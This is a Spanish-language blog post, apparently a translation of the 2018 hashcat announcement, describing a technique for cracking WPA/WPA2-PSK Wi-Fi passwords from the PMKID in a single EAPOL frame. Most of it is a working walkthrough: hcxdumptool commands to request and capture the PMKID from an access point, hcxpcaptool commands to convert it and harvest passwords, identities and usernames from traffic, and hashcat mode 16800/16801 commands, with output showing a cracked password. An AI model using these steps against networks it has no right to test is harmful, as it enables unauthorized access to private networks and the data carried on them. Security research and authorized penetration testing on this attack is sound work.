Descifrar contraseñas WPA PSK «Clave precompartida» (Pre-Shared Key).

Para utilizar el nuevo ataque necesita las siguientes herramientas:

Este ataque fue descubierto accidentalmente mientras investigaba nuevas formas de atacar el nuevo estándar de seguridad WPA3.

WPA3 será más difícil de atacar debido a su moderno protocolo de establecimiento de claves denominado «Simultaneous Authentication of Equals» (SAE).

La principal diferencia con los ataques existentes es que en este ataque, no se requiere la captura de un EAPOL completo de 4 vías. El nuevo ataque se realiza en RSN IE (Elemento de información de red de seguridad robusta) de un único marco EAPOL.

Desconocemos a cuántos enrutadores afectará esta técnica, creemos que funcionará contra todas las redes 802.11i/p/q/r con funciones de itinerancia habilitadas (la mayoría de los enrutadores modernos).

Principales ventajas de este ataque:

  • No es requerido más usuarios regulares, debido que el atacante se comunica directamente con el AP.
  • Handshake completo de 4 vías innecesario entre el usuario regular y el AP.
  • Las retransmisiones eventuales por EAPOL frames (lo que puede llevar a resultados imposibles de descifrar) no son necesarias.
  • No más contraseñas eventuales no válidas enviadas por el usuario.
  • Las perdidas de EAPOL frames cuando el usuario regular o el AP está demasiado lejos del atacante no son necesarias.
  • No se requiere fixing y replaycounter (lo que resulta en velocidades ligeramente más altas).
  • o más formato de salida especial (pcap, hccapx, etc.) – los datos finales aparecerán como una cadena codificada hexagonal regular

Detalles de ataque.

El RSN IE es un opcional campo que se puede encontrar en  802.11 Trama de gestión. Una de las capacidades de RSN es el PMKID.

El PMKID se calcula utilizando HMAC-SHA1 donde la clave es PMK y la parte de datos es la concatenación de una etiqueta de cadena fija «PMK Name», la dirección MAC del punto de acceso y la dirección MAC de la estación.


1
PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)

Como el PMK es el mismo que en un handshake EAPOL regular de 4 vías, este es un vector de ataque ideal.

Recibimos todos los datos que necesitamos en el primer marco de EAPOL del AP.


Laboratorio de pruebas

1. Ejecute hcxdumptool para solicitar el PMKID desde el AP y para dump el frame recibido en un archivo (en formato pcapng).


1
./hcxdumptool -o test.pcapng -i wlp39s0f3u4u5 --enable_status

Salida


1
2
3
4
5
6
7
8
9
10
start capturing (stop with ctrl+c)
INTERFACE:...............: wlp39s0f3u4u5
FILTERLIST...............: 0 entries
MAC CLIENT...............: 89acf0e761f4 (client)
MAC ACCESS POINT.........: 4604ba734d4e (start NIC)
EAPOL TIMEOUT............: 20000
DEAUTHENTICATIONINTERVALL: 10 beacons
GIVE UP DEAUTHENTICATIONS: 20 tries
REPLAYCOUNTER............: 62083
ANONCE...................: 9ddca61888470946305b27d413a28cf474f19ff64c71667e5c1aee144cd70a69

Si un AP recibe nuestro paquete de solicitud de asociación y admite el envío de PMKID, veremos un mensaje «FOUND PMKID» después de un momento:


1
2
3
[13:29:57 - 011] 89acf0e761f4 -> 4604ba734d4e <ESSID> [ASSOCIATIONREQUEST, SEQUENCE 4]
[13:29:57 - 011] 4604ba734d4e -> 89acf0e761f4 [ASSOCIATIONRESPONSE, SEQUENCE 1206]
[13:29:57 - 011] 4604ba734d4e -> 89acf0e761f4 [FOUND PMKID]

Nota: En función del ruido en el canal wifi, puede llevar un tiempo recibir el PMKID. Recomendamos ejecutar hcxdumptool hasta 10 minutos antes de abortar.

2. Ejecute hcxpcaptool para convertir los datos capturados del formato pcapng a un formato hash aceptado por hashcat.


1
./hcxpcaptool -z test.16800 test.pcapng

Salida


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
start reading from test.pcapng

summary:
--------
file name....................: test.pcapng
file type....................: pcapng 1.0
file hardware information....: x86_64
file os information..........: Linux 4.17.11-arch1
file application information.: hcxdumptool 4.2.0
network type.................: DLT_IEEE802_11_RADIO (127)
endianess....................: little endian
read errors..................: flawless
packets inside...............: 66
skipped packets..............: 0
packets with FCS.............: 0
beacons (with ESSID inside)..: 17
probe requests...............: 1
probe responses..............: 11
association requests.........: 5
association responses........: 5
authentications (OPEN SYSTEM): 13
authentications (BROADCOM)...: 1
EAPOL packets................: 14
EAPOL PMKIDs.................: 1

1 PMKID(s) written to test.16800

El contenido del archivo escrito se verá así:


1
2582a8281bf9d4308d6f5731d0e61c61*4604ba734d4e*89acf0e761f4*ed487162465a774bfba60eb603a39f3a

Las columnas son las siguientes (todas codificadas en hexadecimal):

  • PMKID
  • MAC AP
  • MAC Station
  • ESSID

Nota: Aunque no es obligatorio, se recomienda utilizar las opciones -E -I y -U con hcxpcaptool. Podemos usar estos archivos para alimentar hashcat. Por lo general, producen buenos resultados.

  • -E recupera posibles contraseñas del tráfico WiFi (adicional, esta lista incluirá ESSID)
  • -I Recobro identidades del tráfico WiFi
  • -U Recupe los nombres de usuario del tráfico WiFi

1
./hcxpcaptool -E essidlist -I identitylist -U usernamelist -z test.16800 test.pcapng

3. Ejecute hashcat para descifrarlo.

Básicamente es posible atacar este hash como cualquier otro tipo de hash. El modo hash que debemos usar es 16800.


1
/hashcat -m 16800 test.16800 -a 3 -w 3 '?l?l?l?l?l?lt!'

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
hashcat (v4.2.0) starting...

OpenCL Platform #1: NVIDIA Corporation
======================================
* Device #1: GeForce GTX 1080, 2028/8112 MB allocatable, 20MCU
* Device #2: GeForce GTX 1080, 2029/8119 MB allocatable, 20MCU
* Device #3: GeForce GTX 1080, 2029/8119 MB allocatable, 20MCU
* Device #4: GeForce GTX 1080, 2029/8119 MB allocatable, 20MCU

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates

Applicable optimizers:
* Zero-Byte
* Single-Hash
* Single-Salt
* Brute-Force
* Slow-Hash-SIMD-LOOP

Minimum password length supported by kernel: 8
Maximum password length supported by kernel: 63

Watchdog: Temperature abort trigger set to 90c

2582a8281bf9d4308d6f5731d0e61c61*4604ba734d4e*89acf0e761f4*ed487162465a774bfba60eb603a39f3a:hashcat!

Session..........: hashcat
Status...........: Cracked
Hash.Type........: WPA-PMKID-PBKDF2
Hash.Target......: 2582a8281bf9d4308d6f5731d0e61c61*4604ba734d4e*89acf...a39f3a
Time.Started.....: Thu Jul 26 12:51:38 2018 (41 secs)
Time.Estimated...: Thu Jul 26 12:52:19 2018 (0 secs)
Guess.Mask.......: ?l?l?l?l?l?lt! [8]
Guess.Queue......: 1/1 (100.00%)
Speed.Dev.#1.....:   408.9 kH/s (103.86ms) @ Accel:64 Loops:128 Thr:1024 Vec:1
Speed.Dev.#2.....:   408.6 kH/s (104.90ms) @ Accel:64 Loops:128 Thr:1024 Vec:1
Speed.Dev.#3.....:   412.9 kH/s (102.50ms) @ Accel:64 Loops:128 Thr:1024 Vec:1
Speed.Dev.#4.....:   410.9 kH/s (104.66ms) @ Accel:64 Loops:128 Thr:1024 Vec:1
Speed.Dev.#*.....:  1641.3 kH/s
Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.........: 66846720/308915776 (21.64%)
Rejected.........: 0/66846720 (0.00%)
Restore.Point....: 0/11881376 (0.00%)
Candidates.#1....: hariert! -> hhzkzet!
Candidates.#2....: hdtivst! -> hzxkbnt!
Candidates.#3....: gnxpwet! -> gwqivst!
Candidates.#4....: gxhcddt! -> grjmrut!
HWMon.Dev.#1.....: Temp: 81c Fan: 54% Util: 75% Core:1771MHz Mem:4513MHz Bus:1
HWMon.Dev.#2.....: Temp: 81c Fan: 54% Util:100% Core:1607MHz Mem:4513MHz Bus:1
HWMon.Dev.#3.....: Temp: 81c Fan: 54% Util: 94% Core:1683MHz Mem:4513MHz Bus:1
HWMon.Dev.#4.....: Temp: 81c Fan: 54% Util: 93% Core:1620MHz Mem:4513MHz Bus:1

Started: Thu Jul 26 12:51:30 2018
Stopped: Thu Jul 26 12:52:21 2018

También hay soporte para hash-mode 16801, que permite omitir el cálculo de PMK, que es el cálculo que hace que craquear WPA sea tan lento.

Precomputar PMK puede ser útil en casos en los que se encuentre en el sitio y no pueda transferir un hash a una plataforma de craqueo remoto debido a una NDA. El objetivo es ejecutar hashcat en su computadora portátil que puede llevar al sitio.

El modo 16801 espera una lista de PMK precalculados, como cadenas codificadas hexadecimales de longitud 64, como la lista de palabras de entrada.

Para precalcular los PMK, puede usar la herramienta hcxkeys. Las herramientas hcxkeys requieren el ESSID, por lo que debe solicitar el ESSID de su cliente con anticipación.


Agradecemos a @Punto.Cl por compartir el post en: Nuevo ataque a Wpa

Posts Relacionados

Comments

comments

Deja una respuesta

Tu email no será publicado. Los campos requeridos estan marcados con *
Puedes usar tags HTML y los atributos: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>